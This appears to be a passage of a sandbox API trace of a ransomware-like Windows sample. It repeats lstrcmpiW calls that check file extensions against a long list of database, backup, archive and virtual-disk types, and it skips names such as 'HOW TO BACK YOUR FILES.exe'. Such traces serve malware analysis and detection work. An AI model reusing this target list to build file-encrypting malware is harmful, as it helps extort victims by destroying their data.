	[0045.864] lstrcmpiW (lpString1=".FSD", lpString2="vbox") returned -1
	[0045.864] lstrlenW (lpString="vdi") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="vdi") returned -1
	[0045.864] lstrlenW (lpString="vhd") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="vhd") returned -1
	[0045.864] lstrlenW (lpString="vhdx") returned 4
	[0045.864] lstrcmpiW (lpString1=".FSD", lpString2="vhdx") returned -1
	[0045.864] lstrlenW (lpString="avhd") returned 4
	[0045.864] lstrcmpiW (lpString1=".FSD", lpString2="avhd") returned -1
	[0045.864] lstrlenW (lpString="db") returned 2
	[0045.864] lstrcmpiW (lpString1="SD", lpString2="db") returned 1
	[0045.864] lstrlenW (lpString="db2") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="db2") returned 1
	[0045.864] lstrlenW (lpString="db3") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="db3") returned 1
	[0045.864] lstrlenW (lpString="dbf") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="dbf") returned 1
	[0045.864] lstrlenW (lpString="mdf") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="mdf") returned -1
	[0045.864] lstrlenW (lpString="mdb") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="mdb") returned -1
	[0045.864] lstrlenW (lpString="sql") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="sql") returned -1
	[0045.864] lstrlenW (lpString="sqlite") returned 6
	[0045.864] lstrcmpiW (lpString1="RY.FSD", lpString2="sqlite") returned -1
	[0045.864] lstrlenW (lpString="sqlite3") returned 7
	[0045.864] lstrcmpiW (lpString1="NRY.FSD", lpString2="sqlite3") returned -1
	[0045.864] lstrlenW (lpString="sqlitedb") returned 8
	[0045.864] lstrcmpiW (lpString1="CNRY.FSD", lpString2="sqlitedb") returned -1
	[0045.864] lstrlenW (lpString="xml") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="xml") returned -1
	[0045.864] lstrlenW (lpString="$er") returned 3
	[0045.864] lstrcmpiW (lpString1="FSD", lpString2="$er") returned 1
	[0045.865] lstrlenW (lpString="4dd") returned 3
	[0045.865] lstrcmpiW (lpString1="FSD", lpString2="4dd") returned 1
	[0045.865] lstrlenW (lpString="4dl") returned 3
	[0045.865] lstrcmpiW (lpString1="FSD", lpString2="4dl") returned 1
	[0045.865] lstrlenW (lpString="^^^") returned 3
	[0045.865] lstrcmpiW (lpString1="FSD", lpString2="^^^") returned 1
	[0045.865] lstrlenW (lpString="abs") returned 3
	[0045.865] lstrcmpiW (lpString1="FSD", lpString2="abs") returned 1
	[0045.865] lstrlenW (lpString="abx") returned 3
	[0045.865] lstrcmpiW (lpString1="FSD", lpString2="abx") returned 1
	[0045.865] lstrlenW (lpString="accdb") returned 5
	[0045.866] lstrcmpiW (lpString1="Y.FSD", lpString2="accdb") returned 1
	[0045.866] lstrlenW (lpString="accdc") returned 5
	[0045.866] lstrcmpiW (lpString1="Y.FSD", lpString2="accdc") returned 1
	[0045.866] lstrlenW (lpString="accde") returned 5
	[0045.866] lstrcmpiW (lpString1="Y.FSD", lpString2="accde") returned 1
	[0045.866] lstrlenW (lpString="accdr") returned 5
	[0045.866] lstrcmpiW (lpString1="Y.FSD", lpString2="accdr") returned 1
	[0045.866] lstrlenW (lpString="accdt") returned 5
	[0045.866] lstrcmpiW (lpString1="Y.FSD", lpString2="accdt") returned 1
	[0045.866] lstrlenW (lpString="accdw") returned 5
	[0045.866] lstrcmpiW (lpString1="Y.FSD", lpString2="accdw") returned 1
	[0045.866] lstrlenW (lpString="accft") returned 5
	[0045.866] lstrcmpiW (lpString1="Y.FSD", lpString2="accft") returned 1
	[0045.866] lstrlenW (lpString="adb") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="adb") returned 1
	[0045.866] lstrlenW (lpString="adb") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="adb") returned 1
	[0045.866] lstrlenW (lpString="ade") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="ade") returned 1
	[0045.866] lstrlenW (lpString="adf") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="adf") returned 1
	[0045.866] lstrlenW (lpString="adn") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="adn") returned 1
	[0045.866] lstrlenW (lpString="adp") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="adp") returned 1
	[0045.866] lstrlenW (lpString="alf") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="alf") returned 1
	[0045.866] lstrlenW (lpString="ask") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="ask") returned 1
	[0045.866] lstrlenW (lpString="btr") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="btr") returned 1
	[0045.866] lstrlenW (lpString="cat") returned 3
	[0045.866] lstrcmpiW (lpString1="FSD", lpString2="cat") returned 1
	[0045.867] lstrlenW (lpString="cdb") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="cdb") returned 1
	[0045.867] lstrlenW (lpString="ckp") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="ckp") returned 1
	[0045.867] lstrlenW (lpString="cma") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="cma") returned 1
	[0045.867] lstrlenW (lpString="cpd") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="cpd") returned 1
	[0045.867] lstrlenW (lpString="dacpac") returned 6
	[0045.867] lstrcmpiW (lpString1="RY.FSD", lpString2="dacpac") returned 1
	[0045.867] lstrlenW (lpString="dad") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="dad") returned 1
	[0045.867] lstrlenW (lpString="dadiagrams") returned 10
	[0045.867] lstrcmpiW (lpString1="D-CNRY.FSD", lpString2="dadiagrams") returned 1
	[0045.867] lstrlenW (lpString="daschema") returned 8
	[0045.867] lstrcmpiW (lpString1="CNRY.FSD", lpString2="daschema") returned -1
	[0045.867] lstrlenW (lpString="db-journal") returned 10
	[0045.867] lstrcmpiW (lpString1="D-CNRY.FSD", lpString2="db-journal") returned 1
	[0045.867] lstrlenW (lpString="db-shm") returned 6
	[0045.867] lstrcmpiW (lpString1="RY.FSD", lpString2="db-shm") returned 1
	[0045.867] lstrlenW (lpString="db-wal") returned 6
	[0045.867] lstrcmpiW (lpString1="RY.FSD", lpString2="db-wal") returned 1
	[0045.867] lstrlenW (lpString="dbc") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="dbc") returned 1
	[0045.867] lstrlenW (lpString="dbs") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="dbs") returned 1
	[0045.867] lstrlenW (lpString="dbt") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="dbt") returned 1
	[0045.867] lstrlenW (lpString="dbv") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="dbv") returned 1
	[0045.867] lstrlenW (lpString="dbx") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="dbx") returned 1
	[0045.867] lstrlenW (lpString="dcb") returned 3
	[0045.867] lstrcmpiW (lpString1="FSD", lpString2="dcb") returned 1
	[0045.867] lstrlenW (lpString="dct") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="dct") returned 1
	[0045.868] lstrlenW (lpString="dcx") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="dcx") returned 1
	[0045.868] lstrlenW (lpString="ddl") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="ddl") returned 1
	[0045.868] lstrlenW (lpString="dlis") returned 4
	[0045.868] lstrcmpiW (lpString1=".FSD", lpString2="dlis") returned -1
	[0045.868] lstrlenW (lpString="dp1") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="dp1") returned 1
	[0045.868] lstrlenW (lpString="dqy") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="dqy") returned 1
	[0045.868] lstrlenW (lpString="dsk") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="dsk") returned 1
	[0045.868] lstrlenW (lpString="dsn") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="dsn") returned 1
	[0045.868] lstrlenW (lpString="dtsx") returned 4
	[0045.868] lstrcmpiW (lpString1=".FSD", lpString2="dtsx") returned -1
	[0045.868] lstrlenW (lpString="dxl") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="dxl") returned 1
	[0045.868] lstrlenW (lpString="eco") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="eco") returned 1
	[0045.868] lstrlenW (lpString="ecx") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="ecx") returned 1
	[0045.868] lstrlenW (lpString="edb") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="edb") returned 1
	[0045.868] lstrlenW (lpString="epim") returned 4
	[0045.868] lstrcmpiW (lpString1=".FSD", lpString2="epim") returned -1
	[0045.868] lstrlenW (lpString="fcd") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="fcd") returned 1
	[0045.868] lstrlenW (lpString="fdb") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="fdb") returned 1
	[0045.868] lstrlenW (lpString="fic") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="fic") returned 1
	[0045.868] lstrlenW (lpString="flexolibrary") returned 12
	[0045.868] lstrlenW (lpString="fm5") returned 3
	[0045.868] lstrcmpiW (lpString1="FSD", lpString2="fm5") returned 1
	[0045.869] lstrlenW (lpString="fmp") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="fmp") returned 1
	[0045.869] lstrlenW (lpString="fmp12") returned 5
	[0045.869] lstrcmpiW (lpString1="Y.FSD", lpString2="fmp12") returned 1
	[0045.869] lstrlenW (lpString="fmpsl") returned 5
	[0045.869] lstrcmpiW (lpString1="Y.FSD", lpString2="fmpsl") returned 1
	[0045.869] lstrlenW (lpString="fol") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="fol") returned 1
	[0045.869] lstrlenW (lpString="fp3") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="fp3") returned 1
	[0045.869] lstrlenW (lpString="fp4") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="fp4") returned 1
	[0045.869] lstrlenW (lpString="fp5") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="fp5") returned 1
	[0045.869] lstrlenW (lpString="fp7") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="fp7") returned 1
	[0045.869] lstrlenW (lpString="fpt") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="fpt") returned 1
	[0045.869] lstrlenW (lpString="frm") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="frm") returned 1
	[0045.869] lstrlenW (lpString="gdb") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="gdb") returned -1
	[0045.869] lstrlenW (lpString="gdb") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="gdb") returned -1
	[0045.869] lstrlenW (lpString="grdb") returned 4
	[0045.869] lstrcmpiW (lpString1=".FSD", lpString2="grdb") returned -1
	[0045.869] lstrlenW (lpString="gwi") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="gwi") returned -1
	[0045.869] lstrlenW (lpString="hdb") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="hdb") returned -1
	[0045.869] lstrlenW (lpString="his") returned 3
	[0045.869] lstrcmpiW (lpString1="FSD", lpString2="his") returned -1
	[0045.869] lstrlenW (lpString="ib") returned 2
	[0045.870] lstrcmpiW (lpString1="SD", lpString2="ib") returned 1
	[0045.870] lstrlenW (lpString="idb") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="idb") returned -1
	[0045.870] lstrlenW (lpString="ihx") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="ihx") returned -1
	[0045.870] lstrlenW (lpString="itdb") returned 4
	[0045.870] lstrcmpiW (lpString1=".FSD", lpString2="itdb") returned -1
	[0045.870] lstrlenW (lpString="itw") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="itw") returned -1
	[0045.870] lstrlenW (lpString="jet") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="jet") returned -1
	[0045.870] lstrlenW (lpString="jtx") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="jtx") returned -1
	[0045.870] lstrlenW (lpString="kdb") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="kdb") returned -1
	[0045.870] lstrlenW (lpString="kexi") returned 4
	[0045.870] lstrcmpiW (lpString1=".FSD", lpString2="kexi") returned -1
	[0045.870] lstrlenW (lpString="kexic") returned 5
	[0045.870] lstrcmpiW (lpString1="Y.FSD", lpString2="kexic") returned 1
	[0045.870] lstrlenW (lpString="kexis") returned 5
	[0045.870] lstrcmpiW (lpString1="Y.FSD", lpString2="kexis") returned 1
	[0045.870] lstrlenW (lpString="lgc") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="lgc") returned -1
	[0045.870] lstrlenW (lpString="lwx") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="lwx") returned -1
	[0045.870] lstrlenW (lpString="maf") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="maf") returned -1
	[0045.870] lstrlenW (lpString="maq") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="maq") returned -1
	[0045.870] lstrlenW (lpString="mar") returned 3
	[0045.870] lstrcmpiW (lpString1="FSD", lpString2="mar") returned -1
	[0045.870] lstrlenW (lpString="marshal") returned 7
	[0045.870] lstrcmpiW (lpString1="NRY.FSD", lpString2="marshal") returned 1
	[0045.871] lstrlenW (lpString="mas") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mas") returned -1
	[0045.871] lstrlenW (lpString="mav") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mav") returned -1
	[0045.871] lstrlenW (lpString="maw") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="maw") returned -1
	[0045.871] lstrlenW (lpString="mdbhtml") returned 7
	[0045.871] lstrcmpiW (lpString1="NRY.FSD", lpString2="mdbhtml") returned 1
	[0045.871] lstrlenW (lpString="mdn") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mdn") returned -1
	[0045.871] lstrlenW (lpString="mdt") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mdt") returned -1
	[0045.871] lstrlenW (lpString="mfd") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mfd") returned -1
	[0045.871] lstrlenW (lpString="mpd") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mpd") returned -1
	[0045.871] lstrlenW (lpString="mrg") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mrg") returned -1
	[0045.871] lstrlenW (lpString="mud") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mud") returned -1
	[0045.871] lstrlenW (lpString="mwb") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="mwb") returned -1
	[0045.871] lstrlenW (lpString="myd") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="myd") returned -1
	[0045.871] lstrlenW (lpString="ndf") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="ndf") returned -1
	[0045.871] lstrlenW (lpString="nnt") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="nnt") returned -1
	[0045.871] lstrlenW (lpString="nrmlib") returned 6
	[0045.871] lstrcmpiW (lpString1="RY.FSD", lpString2="nrmlib") returned 1
	[0045.871] lstrlenW (lpString="ns2") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="ns2") returned -1
	[0045.871] lstrlenW (lpString="ns3") returned 3
	[0045.871] lstrcmpiW (lpString1="FSD", lpString2="ns3") returned -1
	[0045.871] lstrlenW (lpString="ns4") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="ns4") returned -1
	[0045.872] lstrlenW (lpString="nsf") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="nsf") returned -1
	[0045.872] lstrlenW (lpString="nv") returned 2
	[0045.872] lstrcmpiW (lpString1="SD", lpString2="nv") returned 1
	[0045.872] lstrlenW (lpString="nv2") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="nv2") returned -1
	[0045.872] lstrlenW (lpString="nwdb") returned 4
	[0045.872] lstrcmpiW (lpString1=".FSD", lpString2="nwdb") returned -1
	[0045.872] lstrlenW (lpString="nyf") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="nyf") returned -1
	[0045.872] lstrlenW (lpString="odb") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="odb") returned -1
	[0045.872] lstrlenW (lpString="odb") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="odb") returned -1
	[0045.872] lstrlenW (lpString="oqy") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="oqy") returned -1
	[0045.872] lstrlenW (lpString="ora") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="ora") returned -1
	[0045.872] lstrlenW (lpString="orx") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="orx") returned -1
	[0045.872] lstrlenW (lpString="owc") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="owc") returned -1
	[0045.872] lstrlenW (lpString="p96") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="p96") returned -1
	[0045.872] lstrlenW (lpString="p97") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="p97") returned -1
	[0045.872] lstrlenW (lpString="pan") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="pan") returned -1
	[0045.872] lstrlenW (lpString="pdb") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="pdb") returned -1
	[0045.872] lstrlenW (lpString="pdm") returned 3
	[0045.872] lstrcmpiW (lpString1="FSD", lpString2="pdm") returned -1
	[0045.872] lstrlenW (lpString="pnz") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="pnz") returned -1
	[0045.873] lstrlenW (lpString="qry") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="qry") returned -1
	[0045.873] lstrlenW (lpString="qvd") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="qvd") returned -1
	[0045.873] lstrlenW (lpString="rbf") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="rbf") returned -1
	[0045.873] lstrlenW (lpString="rctd") returned 4
	[0045.873] lstrcmpiW (lpString1=".FSD", lpString2="rctd") returned -1
	[0045.873] lstrlenW (lpString="rod") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="rod") returned -1
	[0045.873] lstrlenW (lpString="rodx") returned 4
	[0045.873] lstrcmpiW (lpString1=".FSD", lpString2="rodx") returned -1
	[0045.873] lstrlenW (lpString="rpd") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="rpd") returned -1
	[0045.873] lstrlenW (lpString="rsd") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="rsd") returned -1
	[0045.873] lstrlenW (lpString="sas7bdat") returned 8
	[0045.873] lstrcmpiW (lpString1="CNRY.FSD", lpString2="sas7bdat") returned -1
	[0045.873] lstrlenW (lpString="sbf") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="sbf") returned -1
	[0045.873] lstrlenW (lpString="scx") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="scx") returned -1
	[0045.873] lstrlenW (lpString="sdb") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="sdb") returned -1
	[0045.873] lstrlenW (lpString="sdc") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="sdc") returned -1
	[0045.873] lstrlenW (lpString="sdf") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="sdf") returned -1
	[0045.873] lstrlenW (lpString="sis") returned 3
	[0045.873] lstrcmpiW (lpString1="FSD", lpString2="sis") returned -1
	[0045.873] lstrlenW (lpString="spq") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="spq") returned -1
	[0045.874] lstrlenW (lpString="te") returned 2
	[0045.874] lstrcmpiW (lpString1="SD", lpString2="te") returned -1
	[0045.874] lstrlenW (lpString="teacher") returned 7
	[0045.874] lstrcmpiW (lpString1="NRY.FSD", lpString2="teacher") returned -1
	[0045.874] lstrlenW (lpString="tmd") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="tmd") returned -1
	[0045.874] lstrlenW (lpString="tps") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="tps") returned -1
	[0045.874] lstrlenW (lpString="trc") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="trc") returned -1
	[0045.874] lstrlenW (lpString="trc") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="trc") returned -1
	[0045.874] lstrlenW (lpString="trm") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="trm") returned -1
	[0045.874] lstrlenW (lpString="udb") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="udb") returned -1
	[0045.874] lstrlenW (lpString="udl") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="udl") returned -1
	[0045.874] lstrlenW (lpString="usr") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="usr") returned -1
	[0045.874] lstrlenW (lpString="v12") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="v12") returned -1
	[0045.874] lstrlenW (lpString="vis") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="vis") returned -1
	[0045.874] lstrlenW (lpString="vpd") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="vpd") returned -1
	[0045.874] lstrlenW (lpString="vvv") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="vvv") returned -1
	[0045.874] lstrlenW (lpString="wdb") returned 3
	[0045.874] lstrcmpiW (lpString1="FSD", lpString2="wdb") returned -1
	[0045.874] lstrlenW (lpString="wmdb") returned 4
	[0045.874] lstrcmpiW (lpString1=".FSD", lpString2="wmdb") returned -1
	[0045.875] lstrlenW (lpString="wrk") returned 3
	[0045.875] lstrcmpiW (lpString1="FSD", lpString2="wrk") returned -1
	[0045.875] lstrlenW (lpString="xdb") returned 3
	[0045.875] lstrcmpiW (lpString1="FSD", lpString2="xdb") returned -1
	[0045.875] lstrlenW (lpString="xld") returned 3
	[0045.875] lstrcmpiW (lpString1="FSD", lpString2="xld") returned -1
	[0045.875] lstrlenW (lpString="xmlff") returned 5
	[0045.875] lstrcmpiW (lpString1="Y.FSD", lpString2="xmlff") returned 1
	[0045.875] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", cAlternateFileName="FSD-{4~1.FSD")) returned 1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="Apollon865.txt.exe") returned 1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2=".") returned 1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="..") returned 1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="windows") returned -1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="bootmgr") returned 1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="temp") returned -1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="pagefile.sys") returned -1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="boot") returned 1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="ids.txt") returned -1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="ntuser.dat") returned -1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="perflogs") returned -1
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="MSBuild") returned -1
	[0045.875] lstrlenW (lpString="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 46
	[0045.875] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94
	[0045.875] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" | out: lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD"
	[0045.875] lstrlenW (lpString="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 46
	[0045.875] lstrlenW (lpString="Apollon865") returned 10
	[0045.875] lstrcmpiW (lpString1="25658}.FSD", lpString2="Apollon865") returned -1
	[0045.875] lstrlenW (lpString=".dll") returned 4
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2=".dll") returned 1
	[0045.875] lstrlenW (lpString=".lnk") returned 4
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2=".lnk") returned 1
	[0045.875] lstrlenW (lpString=".ini") returned 4
	[0045.875] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2=".ini") returned 1
	[0045.876] lstrlenW (lpString=".sys") returned 4
	[0045.876] lstrcmpiW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2=".sys") returned 1
	[0045.876] lstrlenW (lpString="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 46
	[0045.876] lstrlenW (lpString="bak") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="bak") returned 1
	[0045.876] lstrlenW (lpString="ba_") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="ba_") returned 1
	[0045.876] lstrlenW (lpString="dbb") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="dbb") returned 1
	[0045.876] lstrlenW (lpString="vmdk") returned 4
	[0045.876] lstrcmpiW (lpString1=".FSD", lpString2="vmdk") returned -1
	[0045.876] lstrlenW (lpString="rar") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="rar") returned -1
	[0045.876] lstrlenW (lpString="zip") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="zip") returned -1
	[0045.876] lstrlenW (lpString="tgz") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="tgz") returned -1
	[0045.876] lstrlenW (lpString="vbox") returned 4
	[0045.876] lstrcmpiW (lpString1=".FSD", lpString2="vbox") returned -1
	[0045.876] lstrlenW (lpString="vdi") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="vdi") returned -1
	[0045.876] lstrlenW (lpString="vhd") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="vhd") returned -1
	[0045.876] lstrlenW (lpString="vhdx") returned 4
	[0045.876] lstrcmpiW (lpString1=".FSD", lpString2="vhdx") returned -1
	[0045.876] lstrlenW (lpString="avhd") returned 4
	[0045.876] lstrcmpiW (lpString1=".FSD", lpString2="avhd") returned -1
	[0045.876] lstrlenW (lpString="db") returned 2
	[0045.876] lstrcmpiW (lpString1="SD", lpString2="db") returned 1
	[0045.876] lstrlenW (lpString="db2") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="db2") returned 1
	[0045.876] lstrlenW (lpString="db3") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="db3") returned 1
